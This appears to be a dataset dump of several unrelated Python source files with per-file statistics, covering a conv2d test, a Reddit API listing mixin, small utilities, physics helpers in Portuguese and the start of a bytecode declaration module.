answer_11_11_11 = np.array([[26., 39., 45., 45., 61., 52., 58., 66., 63., 53., 56., 51.],
[41., 44., 58., 59., 62., 70., 80., 75., 92., 64., 72., 71.],
[34., 52., 52., 59., 87., 92., 83., 77., 74., 71., 67., 43.],
[51., 66., 63., 60., 64., 76., 79., 75., 82., 77., 64., 57.],
[63., 75., 69., 64., 64., 69., 75., 70., 71., 75., 74., 43.],
[51., 74., 71., 63., 66., 61., 75., 79., 47., 73., 76., 54.],
[59., 70., 59., 64., 55., 72., 83., 81., 77., 70., 69., 58.]])
# different sets of parameters
result_21_13_00 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 3), padding=(0, 0))
answer_21_13_00 = np.array([[48., 77.],
[73., 55.],
[84., 68.]])
result_23_13_13 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(1, 3))
answer_23_13_13 = np.array([[28., 36., 31.],
[53., 65., 47.],
[62., 97., 70.],
[64., 79., 74.]])
result_32_23_22 = conv2d(matrix, kernel, stride=(3, 2), dilation=(2, 3), padding=(2, 2))
answer_32_23_22 = np.array([[54., 55., 34.],
[34., 69., 43.]])
# default params
self.assertEqual(result_11_11_00.tolist(), answer_11_11_00.tolist())
# only stride: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3), (3, 1), (3, 2), (4, 6)
self.assertEqual(result_12_11_00.tolist(), answer_12_11_00.tolist())
self.assertEqual(result_13_11_00.tolist(), answer_13_11_00.tolist())
self.assertEqual(result_21_11_00.tolist(), answer_21_11_00.tolist())
self.assertEqual(result_22_11_00.tolist(), answer_22_11_00.tolist())
self.assertEqual(result_23_11_00.tolist(), answer_23_11_00.tolist())
self.assertEqual(result_31_11_00.tolist(), answer_31_11_00.tolist())
self.assertEqual(result_32_11_00.tolist(), answer_32_11_00.tolist())
self.assertEqual(result_46_11_00.tolist(), answer_46_11_00.tolist())
# only dilation: (1, 2), (1, 3), (2, 1), (2, 2), (2, 3)
self.assertEqual(result_11_12_00.tolist(), answer_11_12_00.tolist())
self.assertEqual(result_11_13_00.tolist(), answer_11_13_00.tolist())
self.assertEqual(result_11_21_00.tolist(), answer_11_21_00.tolist())
self.assertEqual(result_11_22_00.tolist(), answer_11_22_00.tolist())
self.assertEqual(result_11_23_00.tolist(), answer_11_23_00.tolist())
# only paddings: (0, 1), (1, 0), (1, 1)
self.assertEqual(result_11_11_01.tolist(), answer_11_11_01.tolist())
self.assertEqual(result_11_11_10.tolist(), answer_11_11_10.tolist())
self.assertEqual(result_11_11_11.tolist(), answer_11_11_11.tolist())
# different sets of parameters
self.assertEqual(result_21_13_00.tolist(), answer_21_13_00.tolist())
self.assertEqual(result_23_13_13.tolist(), answer_23_13_13.tolist())
self.assertEqual(result_32_23_22.tolist(), answer_32_23_22.tolist())
def test_kernel_5x3_difficult(self):
matrix = np.array([[0, 4, 3, 2, 0, 1, 0],
[4, 3, 0, 1, 0, 1, 0],
[1, 3, 4, 2, 0, 1, 0],
[3, 4, 2, 2, 0, 1, 0],
[0, 0, 0, 0, 0, 1, 0]])
kernel = np.array([[1, 1, 3],
[0, 2, 3],
[3, 3, 3],
[0, 2, 1],
[3, 3, 0]])
# default params
result_11_11_00 = conv2d(matrix, kernel, stride=(1, 1), dilation=(1, 1), padding=(0, 0))
answer_11_11_00 = np.array([[53., 49., 29., 18., 11.]])
# different sets of parameters
result_21_13_00 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 3), padding=(0, 0))
answer_21_13_00 = np.array([[17.]])
result_23_13_13 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(1, 3))
answer_23_13_13 = np.array([[34., 38., 9.],
[30., 24., 7.]])
result_32_23_42 = conv2d(matrix, kernel, stride=(3, 2), dilation=(2, 3), padding=(4, 2))
answer_32_23_42 = np.array([[18., 10., 17.],
[18., 17., 11.]])
result_21_12_04 = conv2d(matrix, kernel, stride=(2, 1), dilation=(1, 2), padding=(0, 4))
answer_21_12_04 = np.array([[18., 34., 40., 44., 22., 37., 15., 19., 0., 7., 0.]])
result_22_12_04 = conv2d(matrix, kernel, stride=(2, 2), dilation=(1, 2), padding=(0, 4))
answer_22_12_04 = np.array([[18., 40., 22., 15., 0., 0.]])
result_23_13_25 = conv2d(matrix, kernel, stride=(2, 3), dilation=(1, 3), padding=(2, 5))
answer_23_13_25 = np.array([[15., 27., 21., 0.],
[34., 27., 13., 0.],
[21., 11., 3., 0.]])
result_11_11_33 = conv2d(matrix, kernel, stride=(1, 1), dilation=(1, 1), padding=(3, 3))
answer_11_11_33 = np.array([[ 0., 0., 16., 32., 17., 7., 4., 5., 3., 0., 0.],
[ 0., 4., 26., 39., 49., 35., 16., 8., 6., 0., 0.],
[ 0., 13., 47., 69., 52., 23., 16., 10., 6., 0., 0.],
[ 0., 18., 51., 53., 49., 29., 18., 11., 7., 0., 0.],
[ 0., 24., 45., 52., 44., 17., 17., 8., 4., 0., 0.],
[ 0., 12., 28., 30., 23., 10., 11., 6., 4., 0., 0.],
[ 0., 9., 15., 13., 12., 4., 8., 3., 1., 0., 0.]])
# default params
self.assertEqual(result_11_11_00.tolist(), answer_11_11_00.tolist())
# different sets of parameters
self.assertEqual(result_21_13_00.tolist(), answer_21_13_00.tolist())
self.assertEqual(result_23_13_13.tolist(), answer_23_13_13.tolist())
self.assertEqual(result_32_23_42.tolist(), answer_32_23_42.tolist())
self.assertEqual(result_21_12_04.tolist(), answer_21_12_04.tolist())
self.assertEqual(result_22_12_04.tolist(), answer_22_12_04.tolist())
self.assertEqual(result_23_13_25.tolist(), answer_23_13_25.tolist())
self.assertEqual(result_11_11_33.tolist(), answer_11_11_33.tolist())
if __name__ == '__main__':
unittest.main()
| 55.944444 | 142 | 0.445356 | 2,594 | 19,133 | 3.116423 | 0.075559 | 0.036368 | 0.080158 | 0.093518 | 0.628525 | 0.527462 | 0.428501 | 0.362197 | 0.343023 | 0.326324 | 0 | 0.224495 | 0.373961 | 19,133 | 341 | 143 | 56.108504 | 0.450409 | 0.060733 | 0 | 0.221374 | 0 | 0 | 0.000446 | 0 | 0 | 0 | 0 | 0 | 0.160305 | 1 | 0.019084 | false | 0 | 0.01145 | 0 | 0.034351 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40c957ed6a9f82b10eaf8bc8f5534d2cbb7e9e79 | 2,650 | py | Python | praw/models/listing/mixins/subreddit.py | Theonefoster/praw | 3d79b43a5193387974455f3d3ccdfff644714d09 | [
"BSD-2-Clause"
] | 4 | 2018-09-28T01:47:53.000Z | 2021-02-13T20:21:14.000Z | praw/models/listing/mixins/subreddit.py | Theonefoster/praw | 3d79b43a5193387974455f3d3ccdfff644714d09 | [
"BSD-2-Clause"
] | 4 | 2018-09-19T06:27:24.000Z | 2018-09-22T00:44:41.000Z | praw/models/listing/mixins/subreddit.py | Theonefoster/praw | 3d79b43a5193387974455f3d3ccdfff644714d09 | [
"BSD-2-Clause"
] | 1 | 2022-03-15T22:52:53.000Z | 2022-03-15T22:52:53.000Z | """Provide the SubredditListingMixin class."""
from ....const import urljoin
from ...base import PRAWBase
from ..generator import ListingGenerator
from .base import BaseListingMixin
from .gilded import GildedListingMixin
from .rising import RisingListingMixin
class SubredditListingMixin(BaseListingMixin, GildedListingMixin,
RisingListingMixin):
"""Adds additional methods pertaining to Subreddit-like instances."""
@property
def comments(self):
"""Provide an instance of :class:`.CommentHelper`.
For example, to output the author of the 25 most recent comments of
``/r/redditdev`` execute:
.. code:: python
for comment in reddit.subreddit('redditdev').comments(limit=25):
print(comment.author)
"""
if self._comments is None:
self._comments = CommentHelper(self)
return self._comments
def __init__(self, reddit, _data):
"""Initialize a SubredditListingMixin instance.
:param reddit: An instance of :class:`.Reddit`.
"""
super(SubredditListingMixin, self).__init__(reddit, _data)
self._comments = None
class CommentHelper(PRAWBase):
"""Provide a set of functions to interact with a subreddit's comments."""
@property
def _path(self):
return urljoin(self.subreddit._path, 'comments/')
def __init__(self, subreddit):
"""Initialize a CommentHelper instance."""
super(CommentHelper, self).__init__(subreddit._reddit, None)
self.subreddit = subreddit
def __call__(self, **generator_kwargs):
"""Return a ListingGenerator for the Subreddit's comments.
Additional keyword arguments are passed in the initialization of
:class:`.ListingGenerator`.
This method should be used in a way similar to the example below:
.. code:: python
for comment in reddit.subreddit('redditdev').comments(limit=25):
print(comment.author)
"""
return ListingGenerator(self._reddit, self._path, **generator_kwargs)
def gilded(self, **generator_kwargs):
"""Deprecated.
.. warning:: (Deprecated) This method will be removed in PRAW 6 because
it doesn't actually restrict the results to gilded
Comments. Use ``subreddit.gilded`` instead.
Additional keyword arguments are passed in the initialization of
:class:`.ListingGenerator`.
"""
return ListingGenerator(self._reddit, urljoin(self._path, 'gilded'),
**generator_kwargs)
| 32.317073 | 79 | 0.649057 | 272 | 2,650 | 6.1875 | 0.352941 | 0.016637 | 0.016637 | 0.020202 | 0.185383 | 0.185383 | 0.185383 | 0.185383 | 0.185383 | 0.185383 | 0 | 0.003562 | 0.258491 | 2,650 | 81 | 80 | 32.716049 | 0.852926 | 0.450943 | 0 | 0.071429 | 0 | 0 | 0.012116 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.214286 | 0.035714 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
40ccbc09815f68d0178685212200fc523a166c98 | 57 | py | Python | codes/01_Variables_Constants_Keywords_Typecasting/constants.py | kunchalavikram1427/python_made_easy | 63d9b5ba4666646d1f932755712ad791d29c0192 | [
"Apache-2.0"
] | null | null | null | codes/01_Variables_Constants_Keywords_Typecasting/constants.py | kunchalavikram1427/python_made_easy | 63d9b5ba4666646d1f932755712ad791d29c0192 | [
"Apache-2.0"
] | null | null | null | codes/01_Variables_Constants_Keywords_Typecasting/constants.py | kunchalavikram1427/python_made_easy | 63d9b5ba4666646d1f932755712ad791d29c0192 | [
"Apache-2.0"
] | 2 | 2022-02-20T07:45:20.000Z | 2022-03-12T17:30:20.000Z | SPEED_LIMIT_IN_KMPH = 80
PI = 3.14
FILE_SIZE_LIMIT = 2000 | 19 | 24 | 0.789474 | 12 | 57 | 3.333333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.183673 | 0.140351 | 57 | 3 | 25 | 19 | 0.632653 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40cd7f5aa0ccb4e9dbdfd609d159a147b11aee7a | 698 | py | Python | cogbot/extensions/groups/error.py | Arcensoth/cogbot | ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0 | [
"MIT"
] | 8 | 2016-12-26T14:10:38.000Z | 2021-01-02T03:50:05.000Z | cogbot/extensions/groups/error.py | Arcensoth/cogbot | ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0 | [
"MIT"
] | 28 | 2016-12-12T04:06:53.000Z | 2020-04-23T06:18:55.000Z | cogbot/extensions/groups/error.py | Arcensoth/cogbot | ef9d935ae8c8fbe00fb9370c75e0e6d9189141d0 | [
"MIT"
] | 9 | 2017-06-03T00:33:57.000Z | 2020-10-29T18:16:02.000Z | class GroupDirectoryError(Exception):
pass
class NoSuchRoleIdError(GroupDirectoryError):
def __init__(self, *args, role_id, **kwargs):
super().__init__(*args, **kwargs)
self.role_id = role_id
class NoSuchRoleNameError(GroupDirectoryError):
def __init__(self, *args, role_name, **kwargs):
super().__init__(*args, **kwargs)
self.role_name = role_name
class GroupDirectoryGroupError(GroupDirectoryError):
def __init__(self, *args, group, **kwargs):
super().__init__(*args, **kwargs)
self.group = group
class NoSuchGroupError(GroupDirectoryGroupError):
pass
class GroupAlreadyExistsError(GroupDirectoryGroupError):
pass
| 24.068966 | 56 | 0.706304 | 66 | 698 | 7.015152 | 0.287879 | 0.142549 | 0.168467 | 0.194384 | 0.442765 | 0.36933 | 0.142549 | 0 | 0 | 0 | 0 | 0 | 0.181948 | 698 | 28 | 57 | 24.928571 | 0.810858 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
40d6bac5ec2dd005662ed6641ed9069238138a7c | 464 | py | Python | odp/api/dependencies/catalogue.py | SAEONData/Open-Data-Platform | cfd2a53e145ec86e187d7c4e1260df17ec6dcb03 | [
"MIT"
] | 2 | 2021-03-04T07:09:47.000Z | 2022-01-02T19:23:41.000Z | odp/api/dependencies/catalogue.py | SAEONData/Open-Data-Platform | cfd2a53e145ec86e187d7c4e1260df17ec6dcb03 | [
"MIT"
] | 18 | 2020-09-16T09:16:45.000Z | 2022-01-25T14:17:42.000Z | odp/api/dependencies/catalogue.py | SAEONData/Open-Data-Platform | cfd2a53e145ec86e187d7c4e1260df17ec6dcb03 | [
"MIT"
] | 1 | 2021-06-25T13:02:57.000Z | 2021-06-25T13:02:57.000Z | from typing import Union
from pydantic import UUID4, constr
from odp.api.models.metadata import DOI_REGEX
from odp.config import config
def get_metadata_landing_page_url(record_id_or_doi: Union[UUID4, constr(regex=DOI_REGEX)]) -> str:
"""
Gets the redirect target for a metadata record in the catalogue.
The record may be identified either by ID or by DOI.
"""
return f'{config.CATALOGUE.METADATA_LANDING_PAGE_BASE_URL}/{record_id_or_doi}'
| 30.933333 | 98 | 0.769397 | 74 | 464 | 4.608108 | 0.527027 | 0.035191 | 0.111437 | 0.076246 | 0.093842 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005115 | 0.157328 | 464 | 14 | 99 | 33.142857 | 0.867008 | 0.252155 | 0 | 0 | 0 | 0 | 0.207951 | 0.207951 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.666667 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
40df99a3e12895ae2c96ab304beb8ca8227dc206 | 473 | py | Python | test/controllers/foo.py | kovalewvladimir/falcon-openapi | 8fd3af74bdbda200b5b201bb60da8546a57e434b | [
"MIT"
] | null | null | null | test/controllers/foo.py | kovalewvladimir/falcon-openapi | 8fd3af74bdbda200b5b201bb60da8546a57e434b | [
"MIT"
] | null | null | null | test/controllers/foo.py | kovalewvladimir/falcon-openapi | 8fd3af74bdbda200b5b201bb60da8546a57e434b | [
"MIT"
] | null | null | null | import falcon
class Foo(object):
def on_get(self, req, resp):
"""Handles GET requests"""
resp.status = falcon.HTTP_200
resp.json = {"method": "get"}
def on_post(self, req, resp):
"""Handles POST requests"""
resp.status = falcon.HTTP_200
resp.json = {"method": "post"}
def do_a_put(self, req, resp):
"""Handles PUT requests"""
resp.status = falcon.HTTP_418
resp.json = {"method": "put"}
| 26.277778 | 38 | 0.566596 | 60 | 473 | 4.35 | 0.383333 | 0.08046 | 0.126437 | 0.206897 | 0.452107 | 0.344828 | 0.344828 | 0.344828 | 0.344828 | 0 | 0 | 0.026471 | 0.281184 | 473 | 17 | 39 | 27.823529 | 0.741176 | 0.133192 | 0 | 0.181818 | 0 | 0 | 0.071066 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.090909 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40e8317fc94ca6781f5bc0ba7431cb6cc0769a1f | 280 | py | Python | nomnom/management/commands/dbdelete.py | tluderer/nomnom-server | 0cdfe9a6d873d87edda56fad27b8dae99b317ab7 | [
"MIT"
] | null | null | null | nomnom/management/commands/dbdelete.py | tluderer/nomnom-server | 0cdfe9a6d873d87edda56fad27b8dae99b317ab7 | [
"MIT"
] | 4 | 2021-04-14T15:40:03.000Z | 2021-04-14T15:40:36.000Z | nomnom/management/commands/dbdelete.py | tluderer/nomnom-server | 0cdfe9a6d873d87edda56fad27b8dae99b317ab7 | [
"MIT"
] | null | null | null | from django.core.management.base import BaseCommand, CommandError
from nomnom.models import Ingredient, Recipe
class Command(BaseCommand):
help = 'Creates mock data and fills database with it.'
def handle(self, *args, **options):
Recipe.objects.all().delete()
| 25.454545 | 65 | 0.732143 | 35 | 280 | 5.857143 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167857 | 280 | 10 | 66 | 28 | 0.879828 | 0 | 0 | 0 | 0 | 0 | 0.160714 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
40eb125adf51359f95265fe4f0d0fd29474064ca | 556 | py | Python | powx-n/powx-n.py | Atri10/Leet-code---Atri_Patel | 49fc59b9147a44ab04a66128fbb2ef259b5f7b7c | [
"MIT"
] | 1 | 2021-10-10T20:21:18.000Z | 2021-10-10T20:21:18.000Z | powx-n/powx-n.py | Atri10/Leet-code---Atri_Patel | 49fc59b9147a44ab04a66128fbb2ef259b5f7b7c | [
"MIT"
] | null | null | null | powx-n/powx-n.py | Atri10/Leet-code---Atri_Patel | 49fc59b9147a44ab04a66128fbb2ef259b5f7b7c | [
"MIT"
] | null | null | null | class Solution:
def myPow(self, x: float, n: int) -> float:
memo = {}
def power(x,n):
if n in memo:return memo[n]
if n==0: return 1
elif n==1:return x
elif n < 0:
memo[n] = power(1/x,-n)
return memo[n]
elif n%2==0:
memo[n] = power(x*x,n//2)
return memo[n]
else:
memo[n] = x * power(x*x,(n-1)//2)
return memo[n]
return power(x,n) | 26.47619 | 49 | 0.366906 | 75 | 556 | 2.72 | 0.253333 | 0.171569 | 0.215686 | 0.107843 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036232 | 0.503597 | 556 | 21 | 50 | 26.47619 | 0.702899 | 0 | 0 | 0.176471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0 | 0 | 0.411765 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40f04db460968ec549b4ff945a0b68a70bd64909 | 549 | py | Python | tetrahedron/solid_effect.py | mayhem/led-tetrahedron | bed314d0db3c4fe355cd047434b04108e19265cf | [
"BSD-2-Clause"
] | null | null | null | tetrahedron/solid_effect.py | mayhem/led-tetrahedron | bed314d0db3c4fe355cd047434b04108e19265cf | [
"BSD-2-Clause"
] | null | null | null | tetrahedron/solid_effect.py | mayhem/led-tetrahedron | bed314d0db3c4fe355cd047434b04108e19265cf | [
"BSD-2-Clause"
] | null | null | null | import effect
class SolidEffect(effect.Effect):
def __init__(self, led_art, name):
effect.Effect.__init__(self, led_art, name)
self.color = (255, 255, 255)
self.done = False
self.effect_name = "solid color"
def setup(self):
self.done = False
def set_color(self, color):
pass
self.color = color
self.done = False
def loop(self):
if not self.done:
self.led_art.set_color(self.color)
self.led_art.show()
self.done = True
| 18.3 | 51 | 0.571949 | 71 | 549 | 4.211268 | 0.323944 | 0.133779 | 0.133779 | 0.093645 | 0.120401 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024324 | 0.326047 | 549 | 29 | 52 | 18.931034 | 0.783784 | 0 | 0 | 0.166667 | 0 | 0 | 0.020036 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0.055556 | 0.055556 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
40f1ebf8973618f184fa7cf3e8ad4fb7414a2c1a | 208 | py | Python | Recursion/sum_natural.py | Joisha02/DataStructure-in-C | fc8c5876e763a56747934c39c1fa396b0ab7ef21 | [
"MIT"
] | null | null | null | Recursion/sum_natural.py | Joisha02/DataStructure-in-C | fc8c5876e763a56747934c39c1fa396b0ab7ef21 | [
"MIT"
] | null | null | null | Recursion/sum_natural.py | Joisha02/DataStructure-in-C | fc8c5876e763a56747934c39c1fa396b0ab7ef21 | [
"MIT"
] | 1 | 2021-10-17T19:33:01.000Z | 2021-10-17T19:33:01.000Z | def sum_Natural(n):
if n == 0:
return 0
else:
return sum_Natural(n - 1) + n
n = int(input())
result = sum_Natural(n)
print(f"Sum of first {n} natural numbers -> {result}")
| 18.909091 | 55 | 0.548077 | 32 | 208 | 3.46875 | 0.53125 | 0.27027 | 0.297297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020979 | 0.3125 | 208 | 10 | 56 | 20.8 | 0.755245 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.375 | 0.125 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
40fa2ac7344d8f5ef65954b8ee8836031dec94f4 | 2,419 | py | Python | Mecanica/cinematica/ultrapassagem.py | VictorArnaud/Fisica | 081c0b358339ad2dbe615fb43bb1a792cc360442 | [
"MIT"
] | 2 | 2020-07-20T13:00:44.000Z | 2022-01-11T10:55:29.000Z | Mecanica/cinematica/ultrapassagem.py | VictorArnaud/Fisica | 081c0b358339ad2dbe615fb43bb1a792cc360442 | [
"MIT"
] | null | null | null | Mecanica/cinematica/ultrapassagem.py | VictorArnaud/Fisica | 081c0b358339ad2dbe615fb43bb1a792cc360442 | [
"MIT"
] | null | null | null | class Ultrapassagem(object):
"""
Métodos para resolução de tópicos de física: Ultrapassagem
Obs: Utilize parâmetros nomeados
"""
ERROR = "Argumentos invalidos, verifique a documentação do método."
@classmethod
def velocidade_relativa(cls, V1: float=None, V2: float=None, sentidos_opostos: bool=False) -> float:
"""
Velocidade de ultrapassagem relativa depende do sentido de
ultrapassagem, se o tiver o mesmo sentido que no caso é o padrão,
(sentido_contrario=False) vai subtrair as velocidade, caso contrario
irá somar.
:param V1: Velocidade do objeto ultrapassando
:param V2: Velocidade do objeto ultrapassado
:param sentidos_opostos: Sentido da ultrapassagem, False se for no mesmo sentido (padrão) e True em
sentidos contrarios
:return: Velocidade Relativa (Vr)
"""
if V1 is None or V2 is None:
raise Exception(cls.ERROR)
if sentidos_opostos:
Vr = V1 + V2
else:
Vr = V1 - V2
return Vr
@classmethod
def velocidade_de_ultrapassagem(cls, DS :float=None, DT :float=None) -> float:
"""
Velocidade de ultrapassagem (Vu)
:param DS: Comprimento dos corpos
:param DT: Intervalo de duração da ultrapassagem
:return: Velocidade de ultrapassagem (Vu)
"""
if DS is None or DT is None:
raise Exception(cls.ERROR)
Vu = DS/DT
return Vu
@classmethod
def comprimento_dos_corpos(cls, Vu :float=None, DT :float=None) -> float:
"""
Comprimento do corpo (DS) ultrapassado
:param Vu: Velocidade de ultrapassagem
:param DT: Intervalo de duração da ultrapassagem
:return: Comprimento do corpo ultrapassado (DS)
"""
if Vu is None or DT is None:
raise Exception(cls.ERROR)
DS = Vu * DT
return DS
@classmethod
def tempo_de_ultrapassagem(cls, DS :float=None, Vu :float=None) -> float:
"""
Intervalo de duração da ultrapassagem (DT)
:param DS: Comprimento dos corpos
:param Vu: Velocidade de ultrapassagem
:return: Intervalo de duração da ultrapassagem (DT)
"""
if DS is None or Vu is None:
raise Exception(cls.ERROR)
DT = DS/Vu
return DT
| 28.458824 | 107 | 0.607689 | 286 | 2,419 | 5.101399 | 0.276224 | 0.049349 | 0.10281 | 0.054832 | 0.361206 | 0.309801 | 0.115147 | 0.115147 | 0.05209 | 0.05209 | 0 | 0.006101 | 0.322447 | 2,419 | 84 | 108 | 28.797619 | 0.884076 | 0.443158 | 0 | 0.275862 | 0 | 0 | 0.051865 | 0 | 0 | 0 | 0 | 0.011905 | 0 | 1 | 0.137931 | false | 0.103448 | 0 | 0 | 0.344828 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
dc0a7f55243ee7a4ca8b2df209db44a5c9bc99f2 | 284 | py | Python | tests/unit/test_example.py | lypant/penv | cf0a598c691f1b877a5140359b41605822f3c2f4 | [
"MIT"
] | null | null | null | tests/unit/test_example.py | lypant/penv | cf0a598c691f1b877a5140359b41605822f3c2f4 | [
"MIT"
] | null | null | null | tests/unit/test_example.py | lypant/penv | cf0a598c691f1b877a5140359b41605822f3c2f4 | [
"MIT"
] | null | null | null | """Unit tests for 'example' module"""
from unittest import TestCase
from penv.example import add
class TestExample(TestCase):
"""Tests of example module"""
def test_add_positive(self):
"""Test addition of positive numbers"""
self.assertEqual(5, add(2, 3))
| 21.846154 | 47 | 0.679577 | 37 | 284 | 5.162162 | 0.648649 | 0.136126 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013216 | 0.200704 | 284 | 12 | 48 | 23.666667 | 0.828194 | 0.31338 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
dc0e72c4ed93a111308dc1e8c16d3053c07c2b11 | 10,778 | py | Python | equip/bytecode/decl.py | neuroo/equip | 470c168cf26d1d8340aa5ab37a5364d999a0b2f4 | [
"Apache-2.0"
] | 102 | 2015-01-03T13:51:03.000Z | 2022-02-28T03:56:26.000Z | equip/bytecode/decl.py | neuroo/equip | 470c168cf26d1d8340aa5ab37a5364d999a0b2f4 | [
"Apache-2.0"
] | 4 | 2016-12-09T00:31:39.000Z | 2019-07-28T09:48:18.000Z | equip/bytecode/decl.py | neuroo/equip | 470c168cf26d1d8340aa5ab37a5364d999a0b2f4 | [
"Apache-2.0"
] | 9 | 2015-05-08T12:17:28.000Z | 2020-12-17T08:20:00.000Z | # -*- coding: utf-8 -*-
"""
equip.bytecode.decl
~~~~~~~~~~~~~~~~~~~
Structured representation of Module, Types, Method, Imports.
:copyright: (c) 2014 by Romain Gaucher (@rgaucher)
:license: Apache 2, see LICENSE for more details.
"""
import dis
from operator import attrgetter, \
methodcaller
from ..utils.log import logger
from ..visitors.bytecode import BytecodeVisitor
from .utils import update_nested_code_object
class Declaration(object):
"""
Base class for the declaration types of object.
"""
MODULE = 1
TYPE = 2
METHOD = 3
FIELD = 4
IMPORT = 5
def __init__(self, kind, _code_object):
self._kind = kind
self._code_object = _code_object
self._parent = None
self._children = []
self._lines = None
self._bytecode = []
self._bytecode_object = None
self._has_changes = False
@property
def lines(self):
"""
A tuple of start/end line numbers that encapsulates this declaration.
"""
return self._lines
@lines.setter
def lines(self, value):
self._lines = value
@property
def start_lineno(self):
"""
